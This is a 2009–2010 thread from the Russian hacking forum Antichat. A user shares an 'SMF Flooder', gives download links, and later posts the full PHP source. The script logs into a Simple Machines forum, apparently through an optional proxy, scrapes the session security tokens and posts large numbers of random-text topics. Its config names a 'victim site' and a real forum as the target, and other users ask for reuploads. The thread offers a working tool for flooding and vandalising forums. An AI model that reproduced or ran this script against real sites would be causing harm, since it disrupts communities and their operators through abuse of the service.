Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   SMF Flooder (https://forum.antichat.xyz/showthread.php?t=115273)

Ponchik 10.04.2009 17:10

SMF Flooder
 
Собстна сабж навеян это темой https://forum.antichat.ru/threadnav115153-1-10.html
Пытался нагуглить флудер, не нащёл :(
написал
Код:

http://slil.ru/27438312
http://rapidshare.com/files/219790518/SMF_Flooder_2.rar.html
http://dump.ru/file/2432381

Тестировался на SMF 1.1.6, SMF 2.0 RC1

Что может скрипт писать небуду, вот вам конфиг, сами поймёте
PHP код:

$debug true#Выводить системные месаги?
$host 'ipd.ru'#Например localhost
$dir '/forum/'#например /forum/ или /
$login 'ololo'
$pass 'BNDRFBNDRF';
$proxy_ip 'ipd.ru'#Или прокся или сайт-жертва
$proxy_port 80;
$sleep_time 5#задержка секунд между запросами
$boards = array('6','2'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
$count_msg 5#Скоко тем создать, максимальное число 99999999999, тебе хватит :) 

UPD: Сделал и для версии 2.0 RC1

гейлордфакерЪ 10.04.2009 18:32

пончь я в тебя влюблён) спасибо за содействие плюсоф тебе не меренно за поддержку и застраченое время

BenZeR 25.04.2009 07:08

Спасибо, сейчас поковыряюсь ;)

DasBoot 21.08.2009 05:34

Можно перезалить?

lobzik203 31.10.2009 21:40

у кого он остался, перезалейте пожалста.

Alexeyco 11.11.2009 17:44

Пожалуйста, перезалейте этого бота... очень надо

Ponchik 27.04.2010 21:30

Уже несколько раз просили, нашёл наконецто
Надеюсь это он :o

PHP код:

<?php
#SMF 1.1.6 flooder by Ponchik
#forum.antichat.ru
set_time_limit(0);

$debug true#Выводить системные месаги?
$host 'hackhound.org'#Например localhost
$dir '/forum/'#например /forum/ или /
$login 'ololo';
$pass 'qwertyuiop';
$proxy_ip 'hackhound.org'#Или прокся или сайт-жертва
$proxy_port 80;
$sleep_time 15#задержка секунд между запросами
$boards = array('34'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
$count_msg 10#Скоко тем создать, максимальное число 99999999999, тебе хватит :)

function genTheme() { #Гененируем тему, меняйте на чё хотите
    
$g 'eyuioa';
    
$s 'qwrtpsdfghjklzxcvbnm';
    
$len rand(10,40);
    
$theme '';
    for(
$i=rand(0,1);$i<$len;$i++) {
        if(!
rand(0,5)) $theme .= ' ';
        if(
$i%2$theme .= $g[rand(0,strlen($g)-1)];
        else 
$theme .= $s[rand(0,strlen($s)-1)];
    }
    return 
trim($theme);
}

function 
genMessage() { #Гененируем месагу
    
$g 'eyuioa';
    
$s 'qwrtpsdfghjklzxcvbnm';
    
$len rand(100,500);
    
$theme '';
    for(
$i=rand(0,1);$i<$len;$i++) {
        if(!
rand(0,5)) $theme .= ' ';
        if(
$i%2$theme .= $g[rand(0,strlen($g)-1)];
        else 
$theme .= $s[rand(0,strlen($s)-1)];
    }
    return 
trim($theme);
}

###########################Поехали############################
#Да, можно былбы CURL и т.д. но мну так всё нравица

$login urlencode($login);
$pass urlencode($pass);

if(
$debug) echo "Иду на пагу<br>\r\n";

do {
    
$fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
} while(!
$fp);

$post "user=$login&passwrd=$pass&cookieneverexp=on&hash_passwrd=";

$out "POST http://{$host}{$dir}index.php?action=login2 HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Referer: http://{$host}{$dir}index.php?action=login2\r\n";
$out .= "Proxy-Connection: Close\r\n";
$out .= "Content-Length: ".strlen($post)."\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

fwrite($fp$out);
$ans '';
while (!
feof($fp)) {
    
$ans .= fgets($fp128);
}
fclose($fp); file_put_contents('C:\rfgsdfsdf.html',$ans);

preg_match_all("|.*Set-Cookie: (.*)=(.*);.*|U"$ans$out);

$cookies = array();
for(
$i=0;$i<count($out[1]);$i++) { #Да, да, тупо тута получилось, можно бюло переделать регулярку, но мне лень (:
    
$cookies[] = $out[1][$i].'='.$out[2][$i].';';
}
$cookies implode(' ',$cookies)or die('Немогу залогиниться');
if(
$debug) echo "Успешно залогинился<br>\r\n";

do {
    
$fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
} while(!
$fp);

$out "GET http://{$host}{$dir}index.php HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Cookie: $cookies\r\n";
$out .= "Proxy-Connection: Close\r\n\r\n";

fwrite($fp$out);
$ans '';
while (!
feof($fp)) {
    
$ans .= fgets($fp128);
}
fclose($fp);

if(
$debug) echo "Готовлюсь к атаке :)<br>\r\n";
sleep($sleep_time);
#####################################
for($i=1;$i<=$count_msg;$i++) {
    
shuffle($boards);
    
$board $boards[0];

    if(
$debug) echo "$i/$count_msg) Создаю тему в разделе $board<br>\r\n";

    do {
        
$fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
    } while(!
$fp);

    
$out "GET http://{$host}{$dir}index.php?action=post;board={$board}.0 HTTP/1.0\r\n";
    
$out .= "Host: $host\r\n";
    
$out .= "Cookie: $cookies\r\n";
    
$out .= "Proxy-Connection: Close\r\n\r\n";

    
fwrite($fp$out);
    
$ans '';
    while (!
feof($fp)) {
        
$ans .= fgets($fp128);
    }
    
fclose($fp);

    
preg_match_all('|.*\<input type\="hidden" name\="(.*)" value\="(.*)" /\>.*|U'$ans$out);
    for(
$i=0;$i<count($out[1]);$i++) {
        if(
$out[1][$i] == 'seqnum') {
            
$seqnum $out[2][$i];
            
$secname $out[1][$i-1];
            
$secval $out[2][$i-1];
        }
    }

    
sleep($sleep_time);

    do {
        
$fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
    } while(!
$fp);
    
$theme urlencode(genTheme());
    
$message urlencode(genMessage());

    
$post "topic=0&subject=$theme&icon=xx&message=$message&notify=0&lock=0&goback=1&attachment%5B%5D=&attachment%5B%5D=&post=%CE%F2%EF%F0%E0%E2%E8%F2%FC&additional_options=0&$secname=$secval&seqnum=$seqnum";

    
$out "POST http://{$host}{$dir}index.php?action=post2;start=0;board={$board} HTTP/1.0\r\n";
    
$out .= "Host: $host\r\n";
    
$out .= "Referer: http://$host/forum/index.php?action=post;board={$board}.0\r\n";
    
$out .= "Cookie: $cookies\r\n";
    
$out .= "Proxy-Connection: Close\r\n";
    
$out .= "Content-Length: ".strlen($post)."\r\n";
    
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

    
fwrite($fp$out);
    
$ans '';
    while (!
feof($fp)) {
        
$ans .= fgets($fp128);
    }
    
fclose($fp);
    
file_put_contents('C:\\'.time().'.html',$out);
    
sleep($sleep_time);
}
?>



Время: 07:04